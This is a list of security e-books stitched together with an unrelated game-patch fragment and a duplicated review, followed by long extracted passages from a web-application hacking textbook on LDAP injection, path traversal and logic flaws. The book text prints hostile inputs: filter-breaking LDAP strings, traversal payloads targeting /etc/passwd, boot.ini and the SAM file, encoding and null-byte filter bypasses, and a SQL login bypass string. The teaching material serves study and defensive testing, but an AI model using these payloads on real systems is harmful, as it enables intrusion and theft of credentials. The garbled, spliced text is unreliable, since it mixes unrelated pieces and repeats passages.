A curated list of free Security and Pentesting related E-Books available on the Internet.
Themis. For example, merchant tenants were able to sell tier 7 or tier 8 random (normally tier 6 is the highest possible tier for random weapons). These licenses will allow the ship to be upgraded without the requirement of, but players must still provide to Penguin Pete at the shipyard.Before, the upgrade level of the ship determined its planetary which did affect spawned inside your ship.
If you want to contribute to this list (please do), send a pull request. All contributors will be recognized and appreciated.
Disclaimer: The contributor(s) cannot be held responsible for any misuse of the data. This repository is just a collection of URLs to download eBooks for free. Download the eBooks at your own risks.
DMCA takedown cannot be possible as we are not republishing the books/infringement of code, but we are just hosting the links to 3rd party websites where these books can be downloaded. To know more on DMCA takedown policy here.
The topics include:
Network Pentesting
Defensive Security
Offensive Security
- Backtrack
- Kali Linux
- Hacking
- Operating Systems
- Windows
- Web & WebApp
Programming Languages
- Python
Reverse Engineering
Virus Botnet and Malware
Misc
I find this book to be a good reference. As a beginner pen-tester, i'm learning the ropes and this book makes sense in some parts and doesn't make sense in others. It's probably because it's huge - with so many pages, it's aiming to take care of so many topics and cover subject matter for both newbie pen-testers and experienced pen-testers.
I think as time goes on, the book will become even more useful for me. For the price and the staggering amount of detail and information, it's a no-brainer. This is basically a fantastic reference book and knowledge-base for anyone who is serious about digital security.
;(&(givenName=*));cn,cn;)(c=FR));cn,telephoneNumber,d epartment,cI think as time goes on, the book will become even more useful for me. For the price and the staggering amount of detail and information, it's a no-brainer. This is basically a fantastic reference book and knowledge-base for anyone who is serious about digital security.
which subverts the application’s original logic, removing the (c=FR) condition from the search filter, thus returning the results of all users in all countries, as shown in Figure 9-12.
Figure 9-12: A successful attack to subvert the intended search filter
Finding LDAP Injection Flaws Supplying invalid input to an LDAP operation typically does not result in any informative error message. In general, the evidence available to you in diagnosing a vulnerability includes the results returned by a search function, and the occurrence of an error such as an HTTP 500 status code. Nevertheless, you can use the following steps to identify an LDAP injection flaw with a degree of reliability.
329
70779c09.qxd:WileyRed
9/14/07
330
■
Chapter 9
3:13 PM
Page 330
Injecting Code
HACK STEPS ■ Try entering just the * character as a search term. This character functions as a wildcard in LDAP, but not in SQL. If a large number of results are returned, this is a good indicator that you are dealing with an LDAP query. ■ Try entering a number of closing brackets: ))))))))))
This input will close any brackets enclosing your input, and those that encapsulate the main search filter itself, resulting in unmatched closing brackets, thus invalidating the query syntax. If an error results, the application may well be vulnerable to LDAP injection. (Note that this input may also break many other kinds of application logic, so this only provides a strong indicator if you are already confident that you are dealing with an LDAP query.) ■ Try entering a series of expressions like the following, until no error occurs, thus establishing the number of brackets you need to close to control the rest of the query: *);cn; *));cn; *)));cn; *))));cn;
■ Try adding extra attributes to the end of your input, using commas to separate each item. Test each attribute in turn — an error message indicates that the attribute is not valid in the present context. Attributes commonly used in directories queried by LDAP include: cn,c,mail,givenname,o,ou,dc,l,uid,objectclass,postaladdress,dn,sn
Preventing LDAP Injection If it is necessary to insert user-supplied input into an LDAP query, this operation should only be performed on simple items of data that can be subjected to strict input validation. The user input should be checked against a white list of acceptable characters, which should ideally include only alphanumeric characters. Characters that may be used to interfere with the LDAP query should be blocked, including ( ) ; , * | & and =. Any input that does not match the white list should be rejected, not sanitized.
70779c09.qxd:WileyRed
9/14/07
3:13 PM
Page 331
Chapter 9
■
Injecting Code
Chapter Summary We have examined a wide range of code injection vulnerabilities, and the practical steps that you can take to identify and exploit each one. There are many real-world injection flaws that can be discovered within the first few seconds of interacting with an application — for example, by entering an apostrophe into a search box. In other cases, code injection vulnerabilities may be highly subtle, manifesting themselves in scarcely detectable differences in the application’s behavior, or reachable only through a multistage process of submitting and manipulating crafted input. To be confident that you have uncovered the code injection flaws that exist within an application, you need to be both thorough and patient. Practically every type of injection can manifest itself in the processing of practically any item of user-supplied data, including the names and values of query string parameters, POST data and cookies, and other HTTP headers. In many cases, a defect will emerge only after extensive probing of the relevant parameter, as you learn exactly what type of processing is being performed on your input and scrutinize the obstacles that stand in your way. Faced with the huge potential attack surface presented by code injection vulnerabilities, you may feel that any serious assault on an application must entail a titanic effort. However, part of learning the art of attacking software is to acquire a sixth sense for where the treasure is hidden and how your target is likely to open up so that you can steal it. The only way to gain this sense is through practice, rehearsing the techniques we have described against the real-life applications you encounter, and seeing how they stand up to them.
Questions Answers can be found at www.wiley.com/go/webhacker. 1. You are trying to exploit a SQL injection flaw by performing a UNION attack to retrieve data. You do not know how many columns the original query returns. How can you find this out? 2. You have located a SQL injection vulnerability in a string parameter. You believe the database is either MS-SQL or Oracle but are unable at this stage to retrieve any data or an error message to confirm which database is running. How can you find this out? 3. You have submitted a single quotation mark at numerous locations throughout the application, and from the resulting error messages have
331
70779c09.qxd:WileyRed
9/14/07
332
■
Chapter 9
3:13 PM
Page 332
Injecting Code
diagnosed several potential SQL injection flaws. Which one of the following would be the safest location to test whether more crafted input has an effect on the application’s processing? (a) Registering a new user (b) Updating your personal details (c) Unsubscribing from the service 4. You have found a SQL injection vulnerability in a login function, and you try to use the input ‘ or 1=1-- to bypass the login. Your attack fails and the resulting error message indicates that the -- characters are being stripped by the application’s input filters. How could you circumvent this problem? 5. You have found a SQL injection vulnerability but have been unable to carry out any useful attacks because the application rejects any input containing whitespace. How can you work around this restriction? 6. The application is doubling up all single quotation marks within user input before these are incorporated into SQL queries. You have found a SQL injection vulnerability in a numeric field, but you need to use a string value in one of your attack payloads. How can you place a string into your query without using any quotation marks? 7. In some rare situations, applications construct dynamic SQL queries out of user-supplied input in a way that cannot be made safe using parameterized queries. When does this occur? 8. You have escalated privileges within an application such that you now have full administrative access. You discover a SQL injection vulnerability within a user administration function. How can you leverage this vulnerability to further advance your attack? 9. You are attacking an application that holds no sensitive data, and contains no authentication or access control mechanisms. In this situation, how should you rank the significance of the following vulnerabilities? (a) SQL injection (b) XPath injection (c) OS command injection 10. You are probing an application function that enables you to search personnel details. You suspect that the function is accessing either a database or an Active Directory back end. How could you try to determine which of these is the case?
70779c10.qxd:WileyRed
9/14/07
3:13 PM
Page 333
CHAPTER
10 Exploiting Path Traversal
Many kinds of functionality oblige a web application to read from or write to a file system on the basis of parameters supplied within user requests. If these operations are carried out in an unsafe manner, an attacker can submit crafted input which causes the application to access files that the application designer did not intend it to access. Known as path traversal vulnerabilities, such defects may enable the attacker to read sensitive data including passwords and application logs, or to overwrite security-critical items such as configuration files and software binaries. In the most serious cases, the vulnerability may enable an attacker to completely compromise both the application and the underlying operating system. Path traversal flaws are sometimes subtle to detect, and many web applications implement defenses against them that may be vulnerable to bypasses. We will describe all of the various techniques you will need, from identifying potential targets, to probing for vulnerable behavior, to circumventing the application’s defenses.
Common Vulnerabilities Path traversal vulnerabilities arise when user-controllable data is used by the application to access files and directories on the application server or other back-end file system in an unsafe way. By submitting crafted input, an attacker 333
70779c10.qxd:WileyRed
334
9/14/07
Chapter 10
■
3:13 PM
Page 334
Exploiting Path Traversal
may be able to cause arbitrary content to be read from, or written to, anywhere on the file system being accessed. This often enables an attacker to read sensitive information from the server, or overwrite sensitive files, leading ultimately to arbitrary command execution on the server. Consider the following example, in which an application uses a dynamic page to return static images to the client. The name of the requested image is specified in a query string parameter: https://wahh-app.com/scripts/GetImage.aspx?file=diagram1.jpg
When the server processes this request, it performs the following steps: 1. Extracts the value of the file parameter from the query string. 2. Appends this value to the prefix C:wahh-appimages. 3. Opens the file with this name. 4. Reads the file’s contents and returns it to the client. The vulnerability arises because an attacker can place path traversal sequences into the filename in order to backtrack up from the image directory specified in step 2 and so access files from anywhere on the server. The path traversal sequence is known as “dot-dot-slash,” and a typical attack would look like this: https://wahh-app.com/scripts/GetImage.aspx?file=..windowsrepairsam
When the application appends the value of the file parameter to the name of the images directory, it obtains the following path: C:wahh-appimages..winntrepairsam
The two traversal sequences effectively step back up from the images directory to the root of the C: drive, and so the preceding path is equivalent to this: C:winntrepairsam
Hence, instead of returning an image file, the server actually returns the repair copy of the Windows SAM file. This file may be analyzed by the attacker to obtain usernames and passwords for the server operating system. In this simple example, the application implements no defenses to prevent path traversal attacks. However, because these attacks have been widely known about for some time, it is common to encounter applications that implement various defenses against them, often based on input validation filters. As you will see, these filters are often poorly designed and can be bypassed by a skilled attacker.
70779c10.qxd:WileyRed
9/14/07
3:13 PM
Page 335
Chapter 10
■
Exploiting Path Traversal
Finding and Exploiting Path Traversal Vulnerabilities Path traversal vulnerabilities are often subtle and hard to detect, and it may be necessary to prioritize your efforts on locations within the application that are most likely to manifest the vulnerability.
Locating Targets for Attack During your initial mapping of the application, you should already have identified any obvious areas of attack surface in relation to path traversal vulnerabilities. Any functionality whose explicit purpose is uploading or downloading files should be thoroughly tested. This functionality is often found in workflow applications where users can share documents, in blogging and auction applications where users can upload images, and in informational applications where users can retrieve documents such as ebooks, technical manuals, and company reports. In addition to obvious target functionality of this kind, there are various other types of behavior that may suggest relevant interaction with the file system. HACK STEPS ■ Review the information gathered during application mapping to identify: ■
Any instance where a request parameter appears to contain the name of a file or directory — for example, include=main.inc or template=/en/sidebar.
■
Any application functions whose implementation is likely to involve retrieval of data from a server file system (as opposed to a back-end database) — for example, the displaying of office documents or images.
■ During all testing which you perform in relation to every other kind of vulnerability, look for error messages or other anomalous events that are of interest. Try to find any evidence of instances where user-supplied data is being passed to file APIs or as parameters to operating system commands.
N OT E If you have local access to the application (either in a white-box testing exercise or because you have compromised the server’s operating system), identifying targets for path traversal testing is usually straightforward, because you can monitor all file system interaction performed by the application.
335
70779c10.qxd:WileyRed
336
9/14/07
Chapter 10
■
3:13 PM
Page 336
Exploiting Path Traversal
HACK STEPS If you have local access to the web application: ■ Use a suitable tool to monitor all file system activity on the server. For example, the FileMon tool from SysInternals can be used on the Windows platform, the ltrace/strace tools can be used on Linux, and the truss command can be used on Sun’s Solaris. ■ Test every page of the application by inserting a single unique string (such as traversaltest) into each submitted parameter (including all cookies, query string fields, and POST data items). Target only one parameter at a time, and use the automated techniques described in Chapter 13 to speed up the process. ■ Set a filter in your file system monitoring tool to identify all file system events that contain your test string. ■ If any events are identified where your test string has been used as or incorporated into a file or directory name, test each instance (as described next) to determine whether it is vulnerable to path traversal attacks.
Detecting Path Traversal Vulnerabilities Having identified the various potential targets for path traversal testing, you need to test every instance individually to determine whether usercontrollable data is being passed to relevant file system operations in an unsafe manner. For each user-supplied parameter being tested, determine whether traversal sequences are being blocked by the application or whether they work as expected. An initial test that is usually reliable is to submit traversal sequences in a way that does not involve stepping back above the starting directory. HACK STEPS ■ Working on the assumption that the parameter you are targeting is being appended to a preset directory specified by the application, modify the parameter’s value to insert an arbitrary subdirectory and a single traversal sequence. For example, if the application submits the parameter file=foo/file1.txt
then try submitting the value file=foo/bar/./file1.txt
70779c10.qxd:WileyRed
9/14/07
3:13 PM
Page 337
Chapter 10
■
Exploiting Path Traversal
HACK STEPS (continued) ■ If the application’s behavior is identical in the two cases, then it may be vulnerable. You should proceed directly to attempting to access a different file by traversing above the start directory. ■ If the application’s behavior is different in the two cases, then it may be blocking, stripping, or sanitizing traversal sequences, resulting in an invalid file path. You should examine whether there are any ways of circumventing the application’s validation filters (described in the next section “Circumventing Obstacles to Traversal Attacks”). ■ The reason why this test is effective, even if the subdirectory “bar” does not exist, is that most common file systems perform canonicalization of the file path before attempting to retrieve it. The traversal sequence cancels out the invented directory, and so the server does not check whether it is present.
If you find any instances where submitting traversal sequences without stepping above the starting directory does not affect the application’s behavior, the next test is to attempt to traverse out of the starting directory and access files from elsewhere on the server file system. HACK STEPS ■ If the application function you are attacking provides read access to a file, attempt to access a known world-readable file on the operating system in question. Submit one of the following values as the filename parameter you control: ././././././././././././etc/passwd ././././././././././././boot.ini
If you are lucky, your browser will display the contents of the file you have requested, as in Figure 10-1. ■ If the function you are attacking provides write access to a file, it may be more difficult to verify conclusively whether the application is vulnerable. One test that is often effective is to attempt to write two files, one that ought to be writable by any user, and one which should not be writable even by root or Administrator. For example, on Windows platforms you can try: ././././././././././././writetest.txt ././././././././././././windows/system32/config/sam
Continued
337
70779c10.qxd:WileyRed
338
9/16/07
Chapter 10
■
4:25 PM
Page 338
Exploiting Path Traversal
HACK STEPS (continued) On Unix-based platforms, files that root may not write are versiondependent, but attempting to overwrite a directory with a file should always fail, so you can try: ././././././././././././tmp/writetest.txt ././././././././././././tmp
For each pair of tests, if the application’s behavior is different in response to the first and second requests (for example, if the second returns an error message, while the first does not), then it is likely that the application is vulnerable. ■ An alternative method for verifying a traversal flaw with write access is to try to write a new file within the web root of the web server and then attempt to retrieve this with a browser. However, this method may not work if you do not know the location of the web root directory or the user context in which the file access occurs does not have permission to write there.
Figure 10-1: A successful path traversal attack
N OT E Virtually all file systems tolerate redundant traversal sequences which appear to try and step up above the root of the file system. Hence, it is usually advisable to submit a large number of traversal sequences when probing for a
70779c10.qxd:WileyRed
9/14/07
3:14 PM
Page 339
Chapter 10
■
Exploiting Path Traversal
flaw, as in the examples given here. It is possible that the starting directory to which your data is appended lies deep within the file system, and so using an excessive number of sequences helps to avoid false negatives. Also, the Windows platform tolerates both forward slashes and backslashes as directory separators, whereas Unix-based platforms tolerate only the forward slash. Further, some web applications filter one version but not the other. Even if you are completely certain that the web server is running a Unix-based operating systen, the application may still be calling out to a Windows-based back-end component. Because of this, it is always advisable to try both versions when probing for traversal flaws.
Circumventing Obstacles to Traversal Attacks If your initial attempts to perform a traversal attack, as described previously, are unsuccessful, this does not mean that the application is not vulnerable. Many application developers are aware of path traversal vulnerabilities and implement various kinds of input validation checks in an attempt to prevent them. However, those defenses are often flawed and can be bypassed by a skilled attacker. The first type of input filter commonly encountered involves checking whether the filename parameter contains any path traversal sequences, and if so, either rejects the request or attempts to sanitize the input to remove the sequences. This type of filter is often vulnerable to various attacks that use alternative encodings and other tricks to defeat the filter. These attacks all exploit the type of canonicalization problems faced by input validation mechanisms, as described in Chapter 2. HACK STEPS ■ Always try path traversal sequences using both forward slashes and backslashes. Many input filters check for only one of these, when the file system may support both. ■ Try simple URL-encoded representations of traversal sequences, using the following encodings. Be sure to encode every single slash and dot within your input: dot forward slash backslash
%2e %2f %5c
Continued
339
70779c10.qxd:WileyRed
340
9/14/07
Chapter 10
■
3:14 PM
Page 340
Exploiting Path Traversal
HACK STEPS (continued) ■ Try using 16-bit Unicode–encoding: dot forward slash backslash
%u002e %u2215 %u2216
■ Try double URL–encoding: dot forward slash backslash
%252e %252f %255c
■ Try overlong UTF-8 Unicode–encoding: dot forward slash backslash
%c0%2e %c0%af %c0%5c
%e0%40%ae %e0%80%af %c0%80%5c
%c0ae %c0%2f etc.
etc. etc.
You can use the illegal Unicode payload type within Burp Intruder to generate a huge number of alternate representations of any given character, and submit this at the relevant place within your target parameter. These are representations that strictly violate the rules for Unicode representation but are nevertheless accepted by many implementations of Unicode decoders, particularly on the Windows platform. ■ If the application is attempting to sanitize user input by removing traversal sequences, and does not apply this filter recursively, then it may be possible to bypass the filter by placing one sequence within another. For example: ..// ../ ../ ..
The second type of input filter commonly encountered in defenses against path traversal attacks involves verifying whether the user-supplied filename contains a suffix (i.e., file type) or prefix (i.e., starting directory) that the application is expecting. This type of defense may be used in tandem with the filters described already.
70779c10.qxd:WileyRed
9/14/07
3:14 PM
Page 341
Chapter 10
■
Exploiting Path Traversal
HACK STEPS ■ Some applications check whether the user-supplied filename ends in a particular file type or set of file types, and reject attempts to access anything else. Sometimes this check can be subverted by placing a URLencoded null byte at the end of your requested filename, followed by a file type that the application accepts. For example: ./././././boot.ini%00.jpg
The reason this attack sometimes succeeds is that the file type check is implemented using an API in a managed execution environment in which strings are permitted to contain null characters (such as String.endsWith() in Java). However, when the file is actually retrieved, the application ultimately uses an API in an unmanaged environment in which strings are null-terminated and so your filename is effectively truncated to your desired value. ■ A different attack against file type filtering is to use a URL-encoded newline character. Some methods of file retrieval (usually on Unix-based platforms) may effectively truncate your filename when a newline is encountered: ./././././etc/passwd%0a.jpg
■ Some applications attempt to control the file type being accessed by appending their own file type suffix to the filename supplied by the user. In this situation, either of the preceding exploits may be effective, for the same reasons. ■ Some applications check whether the user-supplied filename starts with a particular subdirectory of the start directory, or even a specific filename. This check can of course be trivially bypassed as follows: wahh-app/images/./././././././etc/passwd
■ If none of the preceding attacks against input filters are successful individually, it may be that the application is implementing multiple types of filters, and so you need to combine several of these attacks simultaneously (both against traversal sequence filters and file type or directory filters). If possible, the best approach here is to try to break the problem down into separate stages. For example, if the request for diagram1.jpg
Continued
341
70779c10.qxd:WileyRed
342
9/14/07
Chapter 10
■
3:14 PM
Page 342
Exploiting Path Traversal
HACK STEPS (continued) is successful, but the request for foo/./diagram1.jpg
fails, then try all of the possible traversal sequence bypasses until a variation on the second request is successful. If these successful traversal sequence bypasses don’t enable you to access /etc/passwd, probe whether any file type filtering is implemented and can be bypassed, by requesting diagram1.jpg%00.jpg
Working entirely within the start directory defined by the application, try to probe to understand all of the filters being implemented, and see whether each can be bypassed individually with the techniques described. ■ Of course, if you have white box access to the application, then your task is much easier, because you can systematically work through different types of input and verify conclusively what filename (if any) is actually reaching the file system.
Coping with Custom Encoding Probably the craziest path traversal bug that the authors have encountered involved a custom encoding scheme for filenames that were ultimately handled in an unsafe way, and demonstrated how obfuscation provides no substitute for security. The application contained some workflow functionality that enabled users to upload and download files. The request performing the upload supplied a filename parameter that was vulnerable to a path traversal attack when writing the file. When a file had been successfully uploaded, the application provided users with a URL to download it again. There were two important caveats: ■■
The application verified whether the file to be written already existed, and if so, refused to overwrite it.
■■
The URLs generated for downloading users’ files were represented using a bespoke obfuscation scheme — this appeared to be a customized form of Base64-encoding, in which a different character set was employed at each position of the encoded filename.
70779c10.qxd:WileyRed
9/14/07
3:14 PM
Page 343
Chapter 10
■
Exploiting Path Traversal
Taken together, these caveats presented a barrier to straightforward exploitation of the vulnerability. First, although it was possible to write arbitrary files to the server file system, it was not possible to overwrite any existing file, and the low privileges of the web server process meant that it was not possible to create a new file in any interesting locations. Second, it was not possible to request an arbitrary existing file (such as /etc/passwd) without reverse engineering the custom encoding, which presented a lengthy and unappealing challenge. A little experimentation revealed that the obfuscated URLs contained the original filename string supplied by the user. For example: ■■
test.txt became zM1YTU4NTY2Y.
■■
foo/./test.txt became E1NzUyMzE0ZjQ0NjMzND.
The difference in length of the encoded URLs indicated that no path canonicalization had been performed before applying the encoding. This behavior gave us enough of a toe-hold to exploit the vulnerability. The first step was to submit a file with the following name: ./././././././etc/passwd/././tmp/foo
which in its canonical form is equivalent to /tmp/foo
and so could be written by the web server. Uploading this file produced a download URL containing the following obfuscated filename: FhwUk1rNXFUVEJOZW1kNlRsUk5NazE2V1RKTmFrMHdUbXBWZWs1NldYaE5lb
To modify this value to return the file /etc/passwd, we simply needed to truncate it at the right point, which is FhwUk1rNXFUVEJOZW1kNlRsUk5NazE2V1RKTmFrM
Attempting to download a file using this value returned the server’s passwd file as expected. The server had given us sufficient resources to be able to encode arbitrary file paths using its scheme, without even deciphering the obfuscation algorithm being used!
N OT E The observant may have noticed the appearance of a redundant ./ in the name of our uploaded file. This was necessary to ensure that our truncated URL ended on a 3-byte boundary of clear text, and therefore on a 4-byte boundary of encoded text, in line with the Base64-encoding scheme. Truncating an encoded URL partway through an encoded block would almost certainly cause an error when decoded on the server.
343
70779c10.qxd:WileyRed
344
9/14/07
Chapter 10
■
3:14 PM
Page 344
Exploiting Path Traversal
Exploiting Traversal Vulnerabilities Having identified a path traversal vulnerability that provides read or write access to arbitrary files on the server’s file system, what kind of attacks can you carry out by exploiting these? In most cases, you will find that you have the same level of read/write access to the file system as the web server process does. HACK STEPS ■ You can exploit read-access path traversal flaws to retrieve interesting files from the server that may contain directly useful information or help you to refine attacks against other vulnerabilities. For example: ■
Password files for the operating system and application.
■
Server and application configuration files, to discover other vulnerabilities or fine-tune a different attack.
■
Include files that may contain database credentials.
■
Data sources used by the application, such as MySQL database files or XML files.
■
The source code to server-executable pages, to perform a code review in search of bugs (for example GetImage.aspx?file= GetImage.aspx).
■
Application log files that may contain usernames and session tokens, and the like.
■ If you find a path traversal vulnerability that grants write access, your main goal should be to exploit this to achieve arbitrary execution of commands on the server. Means of exploiting the vulnerability to achieve this include: ■
Creating scripts in users’ startup folders.
■
Modifying files such as in.ftpd to execute arbitrary commands when a user next connects.
■
Writing scripts to a web directory with execute permissions and calling them from your browser.
Preventing Path Traversal Vulnerabilities By far the most effective means of eliminating path traversal vulnerabilities is to avoid passing user-submitted data to any file system API. In many cases, including the original example GetImage.aspx?file=diagram1.jpg, it is
70779c10.qxd:WileyRed
9/14/07
3:14 PM
Page 345
Chapter 10
■
Exploiting Path Traversal
entirely unnecessary for an application to do this. For most files that are not subject to any access control, the files can simply be placed within the web root and accessed via a direct URL. If this is not possible, the application can maintain a hard-coded list of image files that may be served by the page, and use a different identifier to specify which file is required, such as an index number. Any request containing an invalid identifier can be rejected, and there is no attack surface for users to manipulate the path of files delivered by the page. In some cases, as with the workflow functionality that allows file uploading and downloading, it may be desirable to allow users to specify files by name, and developers may decide that the easiest way to implement this is by passing the user-supplied filename to file system APIs. In this situation, the application should take a defense-in-depth approach to place several obstacles in the way of a path traversal attack. Here are some examples of defenses that may be used; ideally, as many of these as possible should be implemented together: ■■
After performing all relevant decoding and canonicalization of the usersubmitted filename, the application should check whether this contains either of the path traversal sequences (using backward or forward slashes) or any null bytes. If so, the application should stop processing the request. It should not attempt to perform any sanitization on the malicious filename.
■■
The application should use a hard-coded list of permissible file types and reject any request for a different type (after the preceding decoding and canonicalization has been performed).
■■
After performing all of its filtering on the user-supplied filename, the application should use suitable file system APIs to verify that nothing is amiss, and that the file to be accessed using that filename is located within the start directory specified by the application. In Java, this can be achieved by instantiating a java.io.File object using the user-supplied filename and then calling the getCanonicalPath method on this object. If the string returned by this method does not begin with the name of the start directory, then the user has somehow bypassed the application’s input filters, and the request should be rejected. In ASP.NET, this can be achieved by passing the user-supplied filename to the System.Io.Path.GetFullPath method and checking the returned string in the same way as described for Java.
■■
The application can mitigate the impact of most exploitable path traversal vulnerabilities by using a chrooted environment to access the directory containing the files to be accessed. In this situation, the chrooted
345
70779c10.qxd:WileyRed
346
9/14/07
Chapter 10
■
3:14 PM
Page 346
Exploiting Path Traversal
directory is treated as if it is the file system root, and any redundant traversal sequences that attempt to step up above it are ignored. Chrooted file systems are supported natively on most Unix-based platforms. A similar effect can be achieved on Windows platforms (in relation to traversal vulnerabilities, at least) by mounting the relevant start directory as a new logical drive and using the associated drive letter to access its contents. ■■
The application should integrate its defenses against path traversal attacks with its logging and alerting mechanisms. Whenever a request is received that contains path traversal sequences, this indicates likely malicious intent on the part of the user, and the application should log the request as an attempted security breach, terminate the user’s session, and if applicable, suspend the user’s account and generate an alert to an administrator.
Chapter Summary Path traversal can often be a devastating vulnerability, enabling you to break through many layers of security controls to gain direct access to sensitive data, including passwords, configuration files, application logs, and source code. If the vulnerability grants write access, it can quickly lead to a complete compromise of the application and underlying server. Path traversal bugs are surprisingly common; however, they are often subtle to detect and may be protected by various kinds of input validation which deflect the most obvious attacks but can nevertheless be bypassed with skill and determination. The most important lesson when probing for path traversal flaws is to be patient and work systematically to try to understand precisely how your input is being handled, and how the server’s processing can be manipulated to achieve success.
Questions Answers can be found at www.wiley.com/go/webhacker. 1. You insert a standard path traversal detection string into the following URL: https://wahh-app.com/logrotate.pl?file=./././././etc/passwd
70779c10.qxd:WileyRed
9/14/07
3:14 PM
Page 347
Chapter 10
■
Exploiting Path Traversal
The application returns the following error message: passwd.log not found in /etc directory!
What input should you submit next to try to retrieve the passwd file? 2. You are probing for path traversal flaws in a file download function. The following URL returns the file called foo.txt: https://wahh-app.com/showFile.php?f=foo.txt
After some experimentation, you discover that supplying the input ./foo.txt returns the original file, whereas supplying the input bar/./foo.txt returns an error. What might be the cause of this unusual behavior, and how can you attempt to refine your attack? 3. An application uses URLs like the following to view various configuration files: https://wahh-app.com/manage/customize.asp?file=default.xml
You have determined that the file specified is normally retrieved from the /contrib directory within the web root. However, requesting the following URL: https://wahh-app.com/manage/customize.asp?file=././././boot.ini
results in an HTTP 500 status code and the following error message: Microsoft VBScript runtime (0x800A0046) Permission denied
What is the likely cause of this message, and how can you proceed towards exploitation? 4. You have located a file handling function that appears to be vulnerable to path traversal attacks. However, you have no idea what the location of the starting directory is, or how many traversal sequences you need to insert to get to the file system root. How can you proceed without this information? 5. You have located a path traversal vulnerability. However the starting directory is within a separate logical volume that is only used for hosted web content. Is it possible to exploit this vulnerability to any malicious effect?
347
70779c10.qxd:WileyRed
9/14/07
3:14 PM
Page 348
70779c11.qxd:WileyRed
9/14/07
3:14 PM
Page 349
CHAPTER
11 Attacking Application Logic
All web applications employ logic in order to deliver their functionality. Writing code in a programming language involves at its root nothing more than breaking down a complex process into very simple and discrete logical steps. Translating a piece of functionality that is meaningful to human beings into a sequence of small operations that can be executed by a computer involves a great deal of skill and discretion. Doing it in an elegant and secure fashion is even harder still. When large numbers of different designers and programmers work in parallel on the same application, there is ample opportunity for mistakes to occur. In all but the very simplest of web applications, a vast amount of logic is performed at every stage. This logic presents an intricate attack surface that is always present but often overlooked. Many code reviews and penetration tests focus exclusively on the common “headline” vulnerabilities like SQL injection and cross-site scripting, because these have an easily recognizable signature and well-researched exploitation vector. By contrast, flaws in an application’s logic are harder to characterize: each instance may appear to be a unique one-off occurrence, and they are not usually identified by any automated vulnerability scanners. As a result, they are not generally as well appreciated or understood, and they are therefore of great interest to an attacker. In this chapter, we will describe the kinds of logic flaws that often exist in web applications and the practical steps that you can take to probe and attack an application’s logic. We will present a series of real-world examples, each of which 349
70779c11.qxd:WileyRed
350
9/14/07
Chapter 11
■
3:14 PM
Page 350
Attacking Application Logic
manifests a different kind of logical defect and which together serve to illustrate the variety of assumptions made by designers and developers that can lead directly to faulty logic, and expose an application to security vulnerabilities.
The Nature of Logic Flaws Logic flaws in web applications are extremely varied. They range from simple bugs manifested in a handful of lines of code, to extremely complex vulnerabilities arising from the interoperation of several core components of the application. In some instances, they may be obvious and trivial to detect; in other cases, they may be exceptionally subtle and liable to elude even the most rigorous code review or penetration test. Unlike other coding flaws such as SQL injection or cross-site scripting, there is no common “signature” associated with logic flaws. The defining characteristic, of course, is that the logic implemented within the application is defective in some way. In many cases, the defect can be represented in terms of a specific assumption that has been made in the thinking of the designer or developer, either explicitly or implicitly, and that turns out to be flawed. In general terms, a programmer may have reasoned something like “If A happens, then B must be the case, so I will do C.” The programmer did not ask the entirely different question “But what if X occurs?” and so failed to take account of a scenario that violates the assumption. Depending on the circumstances, this flawed assumption may open up a significant security vulnerability. As awareness of common web application vulnerabilities has increased in recent years, the incidence and severity of some categories of vulnerability have declined noticeably. However, because of the nature of logic flaws, it is unlikely that they will ever be completely eliminated via standards for secure development, use of code-auditing tools, or normal penetration testing. The diverse nature of logic flaws, and the fact that detecting and preventing them often requires a good measure of lateral thinking, suggests that they will be prevalent for a good while to come. Any serious attacker, therefore, needs to pay serious attention to the logic employed in the application being targeted, to try to figure out the assumptions that designers and developers are likely to have made, and then to think imaginatively about how those assumptions may be violated.
Real-World Logic Flaws The best way to learn about logic flaws is not by theorizing, but through acquaintance with some actual examples. Although individual instances of
70779c11.qxd:WileyRed
9/14/07
3:14 PM
Page 351
Chapter 11
■
Attacking Application Logic
logic flaws differ hugely, they share many common themes, and they demonstrate the kinds of mistake that human developers will always be prone to making. Hence, insights gathered from studying a sample of logic flaws should help you to uncover new flaws in entirely different situations.
Example 1: Fooling a Password Change Function The authors have encountered this logic flaw in a web application implemented by a financial services company and also in the AOL AIM Enterprise Gateway application.
The Functionality The application implemented a password change function for end users. It required the user to fill out fields for username, existing password, new password, and confirm new password. There was also a password change function for use by administrators. This allowed them to change the password of any user without the need to supply the existing password. The two functions were implemented within the same server-side script.
The Assumption The client-side interface presented to users and administrators differed in one respect — the administrator’s interface did not contain a field for an existing password. When the server-side application processed a password change request, it used the presence or absence of the existing password parameter to indicate whether the request was from an administrator or an ordinary user. In other words, it assumed that ordinary users would always supply an existing password parameter. The code responsible looked something like this: String existingPassword = request.getParameter(“existingPassword”); if (null existingPassword) { trace(“Old password not supplied, must be an administrator”); return true; } else { trace(“Verifying user’s old password”); ..
351
70779c11.qxd:WileyRed
352
9/14/07
Chapter 11
■
3:14 PM
Page 352
Attacking Application Logic
The Attack Once the assumption has been explicitly stated in this way, the logic flaw becomes obvious. Of course, an ordinary user can issue a request that does not contain an existing password parameter, because users control every aspect of the requests they issue. This logic flaw was devastating for the application. It enabled an attacker to reset the password of any other user and so take full control of their account. HACK STEPS ■ When probing key functionality for logic flaws, try removing in turn each parameter submitted in requests, including cookies, query string fields, and items of POST data. ■ Be sure to delete the actual name of the parameter as well as its value. Do not just submit an empty string, as this is typically handled differently by the server. ■ Attack only one parameter at a time, to ensure that all relevant code paths within the application are reached. ■ If the request you are manipulating is part of a multistage process, follow the process through to completion, because some later logic may process data that was supplied in earlier steps and stored within the session.
Example 2: Proceeding to Checkout The authors encountered this logic flaw in the web application employed by an online retailer.
The Functionality The process of placing an order involved the following stages: 1. Browse the product catalog and add items to the shopping basket. 2. Return to the shopping basket and finalize the order. 3. Enter payment information. 4. Enter delivery information.
70779c11.qxd:WileyRed
9/14/07
3:14 PM
Page 353
Chapter 11
■
Attacking Application Logic
The Assumption The developers assumed that users would always access the stages in the intended sequence, because this was the order in which the stages are delivered to the user by the navigational links and forms presented to their browser. Hence, any user who completed the order process must have submitted satisfactory payment details along the way.
